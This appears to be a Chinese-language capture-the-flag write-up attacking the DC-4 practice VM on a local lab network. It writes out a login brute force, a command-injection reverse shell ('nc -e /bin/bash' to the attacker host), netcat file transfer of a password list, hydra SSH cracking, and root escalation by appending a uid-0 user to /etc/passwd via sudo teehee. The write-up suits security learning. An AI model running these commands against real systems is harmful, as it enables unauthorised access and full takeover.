介绍
在VMware中搭建环境,网络选择NAT或者桥接,确保攻击机和靶机在同一网络下即可,我这里选择的NAT。
靶机:192.168.254.132(DC-4)
攻击机:192.168.254.128(Kali)
物理机:192.168.254.1(Windows10)
信息搜集
网络扫描
扫描靶机IP
$ node -sn 192.168254.1/24

扫描开放的端口和服务
$ nmap -sV -p- 192.168.254.132

靶机开放了80端口和22端口,80端口存在httpd服务
查看相关信息
打开站点,一个登录框,查看插件及代码,未发现任何信息。

漏洞查找及利用
尝试使用burp
爆破登录账户。
先抓登录的包,发送到爆破模,选择密码字段。

选择字典,开始爆破。
Kali上的burp是社区版,不支持多线程爆破,直接在物理机上爆了。

可以看到718长度对应的请求是成功登录了的,未登录成功的都是557,顺利拿到密码 happy
。
尝试登录,发现被重定向了,这里抓包重放。

可以看到登录成功,进入/login.php
,可以看到成功登录了。

存在command
业务,有三个选项,随便测试一下,可以看到执行了命令,且命令可控。

接下来就是抓包,改命令,反弹shell。
首先监听端口。
$ nc -lvnp 8888
改包执行命令。
$ nc -e /bin/bash 192.168.254.128 8888
成功反弹shell!

flag
先拿到交互式的shell
$ python -c 'import pty;pty.spawn("/bin/bash")'
寻找敏感文件
发现三个用户
$ ls /home

在 jim
用户目录下发现可疑文件

打开发现是密码本

复制到本地爆破登录密码
先监听端口
$ nc -lvnp 4445 > pass.txt

发到这个端口上
$ nc 192.168.254.128 4445 < old-passwords.bak

爆破
$ hydra -l jim -P /home/nayst/pass.txt 192.168.254.132 ssh

成功拿到密码:jibril04
登录jim
账户,提示有邮件未查看。

找到邮件。
$ find / -name mail

两个地址都是一样的。
进入目录发现有一封邮件。

信里可以看到charles
把密码发过来了,^xHhA&hvim0y
,直接登录。

成功登录!尝试提权。
$ find / -perm -u=s -type f 2>/dev/null

$ sudo -l

利用teehee
,往/etc/passwd
内追加一条id为0(即管理员身份)的用户。
root: x :0:0:root:/root:/bin/bash
字段1: 用户名。
字段2:密码占位符,x代表有密码。
字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。
字段4:用户的gid,也就是所属用户组的id。
字段5:用户信息(弃用)。
字段6:用户家目录。
字段7:用户登陆系统后使用的shell。
$ echo "nayst::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
因为此用户无密码,直接切换即可
$ su nayst

成功拿到flag!

总结
学到的知识点
- 利用
nc
复制文件。 teehee
提权。